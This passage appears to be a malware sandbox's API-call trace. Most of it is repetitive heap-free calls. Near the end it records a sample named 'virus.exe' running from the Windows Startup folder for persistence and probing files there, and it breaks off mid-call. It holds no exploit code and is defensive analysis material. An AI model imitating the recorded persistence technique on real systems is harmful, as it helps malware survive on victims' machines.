lpMem=0x2030c0 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2030e0 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203100 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203120 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203140 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203160 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203180 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2031a0 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2031c0 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.239] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2031e0 | out: hHeap=0x1e0000) returned 1 [0250.239] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203200 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203220 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203240 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203260 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203280 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2032a0 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2032c0 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2032e0 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203300 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203320 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203340 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203360 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203380 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2033a0 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2033c0 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2033e0 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203400 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203420 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.240] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203440 | out: hHeap=0x1e0000) returned 1 [0250.240] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203460 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203480 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2034a0 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2034c0 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2034e0 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203500 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203520 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203540 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203560 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203580 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2035a0 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2035c0 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2035e0 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203600 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203620 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203640 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203660 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203680 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2036a0 | out: hHeap=0x1e0000) returned 1 [0250.241] GetProcessHeap () returned 0x1e0000 [0250.241] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2036c0 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2036e0 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203700 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203720 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203740 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203760 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203780 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2037e0 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203800 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203820 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203840 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203860 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203880 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2038a0 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2038c0 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2038e0 | out: hHeap=0x1e0000) returned 1 [0250.242] GetProcessHeap () returned 0x1e0000 [0250.242] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203900 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203920 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203940 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203960 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203980 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2039a0 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2039c0 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2039e0 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203a00 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203a20 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203a40 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203a60 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203a80 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203aa0 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203ac0 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.243] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203ae0 | out: hHeap=0x1e0000) returned 1 [0250.243] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203b00 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203b20 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203b40 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203b60 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203b80 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203ba0 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203bc0 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203be0 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203c00 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203c20 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203c40 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203c60 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203c80 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203ca0 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203cc0 | out: hHeap=0x1e0000) returned 1 [0250.244] GetProcessHeap () returned 0x1e0000 [0250.244] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203ce0 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203d00 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203d20 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203d40 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203d60 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203d80 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203da0 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203dc0 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203de0 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203e00 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203e20 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203e40 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203e60 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203e80 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203ea0 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203ec0 | out: hHeap=0x1e0000) returned 1 [0250.245] GetProcessHeap () returned 0x1e0000 [0250.245] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203ee0 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203f00 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203f20 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203f40 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203f60 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203f80 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x203fe0 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204000 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204020 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204040 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204060 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204080 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2040a0 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2040c0 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2040e0 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204100 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.246] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204120 | out: hHeap=0x1e0000) returned 1 [0250.246] GetProcessHeap () returned 0x1e0000 [0250.247] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204140 | out: hHeap=0x1e0000) returned 1 [0250.247] GetProcessHeap () returned 0x1e0000 [0250.247] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204160 | out: hHeap=0x1e0000) returned 1 [0250.247] GetProcessHeap () returned 0x1e0000 [0250.247] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204180 | out: hHeap=0x1e0000) returned 1 [0250.247] GetProcessHeap () returned 0x1e0000 [0250.247] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2041a0 | out: hHeap=0x1e0000) returned 1 [0250.247] GetProcessHeap () returned 0x1e0000 [0250.247] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2041c0 | out: hHeap=0x1e0000) returned 1 [0250.247] GetProcessHeap () returned 0x1e0000 [0250.247] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x2041e0 | out: hHeap=0x1e0000) returned 1 [0250.247] GetProcessHeap () returned 0x1e0000 [0250.247] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204200 | out: hHeap=0x1e0000) returned 1 [0250.247] GetProcessHeap () returned 0x1e0000 [0250.247] HeapFree (in: hHeap=0x1e0000, dwFlags=0x0, lpMem=0x204220 | out: hHeap=0x1e0000) returned 1 [0250.247] exit (_Code=0) Thread: id = 124 os_tid = 0x6e0 Thread: id = 128 os_tid = 0x20c Thread: id = 129 os_tid = 0x110 Thread: id = 130 os_tid = 0x2ac Thread: id = 131 os_tid = 0x30c [0249.786] LocalAlloc (uFlags=0x40, uBytes=0x340) returned 0x23b010 [0249.786] LocalAlloc (uFlags=0x40, uBytes=0x20) returned 0x266f20 [0249.786] LocalAlloc (uFlags=0x0, uBytes=0x18) returned 0x220580 [0249.786] LocalAlloc (uFlags=0x40, uBytes=0x108) returned 0x2509c0 [0249.786] LocalReAlloc (hMem=0x220580, uBytes=0x20, uFlags=0x2) returned 0x23f3d0 [0249.792] LocalFree (hMem=0x23b010) returned 0x0 [0249.793] LocalFree (hMem=0x2509c0) returned 0x0 [0249.793] LocalFree (hMem=0x23f3d0) returned 0x0 [0249.793] LocalFree (hMem=0x266f20) returned 0x0 Process: id = "16" image_name = "cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" filename = "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" page_root = "0x70249000" os_pid = "0x344" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "9" os_parent_pid = "0x594" cmd_line = "\"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 87 os_tid = 0x6bc [0198.936] GetProcessHeap () returned 0x710000 [0198.936] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x30) returned 0x7219f0 [0198.936] GetProcessHeap () returned 0x710000 [0198.936] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x3400) returned 0x7264a0 [0198.938] GetProcessHeap () returned 0x710000 [0198.938] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x300) returned 0x7298a8 [0198.939] GetProcessHeap () returned 0x710000 [0198.939] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x10) returned 0x721818 [0198.939] GetTickCount () returned 0x113d8c3 [0198.939] GetLocaleInfoW (in: Locale=0x800, LCType=0x58, lpLCData=0x38f7e8, cchData=32 | out: lpLCData="\x03") returned 16 [0198.955] GetProcessHeap () returned 0x710000 [0198.955] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20) returned 0x723d58 [0198.955] GetProcessHeap () returned 0x710000 [0198.955] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20a) returned 0x729be8 [0198.955] GetProcessHeap () returned 0x710000 [0198.955] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20a) returned 0x729e00 [0198.955] GetProcessHeap () returned 0x710000 [0198.955] RtlAllocateHeap (HeapHandle=0x710000, Flags=0x0, Size=0x20a) returned 0x72a018 [0198.955] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x72a018, nSize=0x104 | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\CUsersUSERAppDataLocalTemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\cusersuserappdatalocaltemp3582-490fc804dbf9820addf1a942036564aefb1.virus.exe")) returned 0x89 [0198.955] GetProcessHeap () returned 0x710000 [0198.955] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x72a018 | out: hHeap=0x710000) returned 1 [0198.955] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\spfs.txt" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\spfs.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0198.955] GetProcessHeap () returned 0x710000 [0198.955] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729be8 | out: hHeap=0x710000) returned 1 [0198.955] GetProcessHeap () returned 0x710000 [0198.955] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x729e00 | out: hHeap=0x710000) returned 1 [0198.955] GetProcessHeap () returned 0x710000 [0198.956] HeapFree (in: hHeap=0x710000, dwFlags=0x0, 